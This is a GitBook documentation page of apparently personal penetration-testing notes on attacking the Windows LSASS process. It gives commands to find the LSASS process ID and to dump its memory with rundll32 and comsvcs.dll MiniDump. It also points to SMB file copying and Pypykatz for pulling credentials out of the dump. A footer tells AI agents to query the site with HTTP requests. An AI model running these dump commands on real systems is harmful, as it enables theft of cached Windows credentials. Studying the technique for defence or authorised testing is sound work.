> For the complete documentation index, see [llms.txt](https://docs.wehost.co.in/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.wehost.co.in/cybersecurity/attacking-lsass.md).

# Attacking LSASS

* \
  Upon initial logon, LSASS will:
  * Cache credentials locally in memory
  * Create [access tokens](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-tokens)
  * Enforce security policies
  * Write to Windows [security log](https://docs.microsoft.com/en-us/windows/win32/eventlog/event-logging-security)

### Dumping LSASS Process Memory

#### Task Manager Method

<figure><img src="/files/qzQ9GVQKLzf03tU5fNCe" alt=""><figcaption></figcaption></figure>

* A file called `lsass.DMP` is created and saved in:

```cmd-session
C:\Users\loggedonusersdirectory\AppData\Local\Temp
```

* to copy files use
  * [Create SMB server Linux (HACK)](app://obsidian.md/Create%20SMB%20server%20Linux%20\(HACK\))

#### Rundll32.exe & Comsvcs.dll Method

* modern anti-virus tools recognize this method as malicious activity.
* Before issuing the command to create the dump file, we must determine what process ID (`PID`) is assigned to `lsass.exe`.
* This can be done from cmd or PowerShell:

**Finding LSASS PID in cmd**

```cmd-session
tasklist /svc
```

**Finding LSASS PID in PowerShell**

```powershell-session
Get-Process lsass
```

**Creating lsass.dmp using PowerShell**

```powershell-session
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
```

* to copy files use
  * [Create SMB server Linux (HACK)](/cybersecurity/create-smb-server-linux-hack.md)

### Using Pypykatz to Extract Credentials

* [Pypykatz](/cybersecurity/pypykatz.md)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.wehost.co.in/cybersecurity/attacking-lsass.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
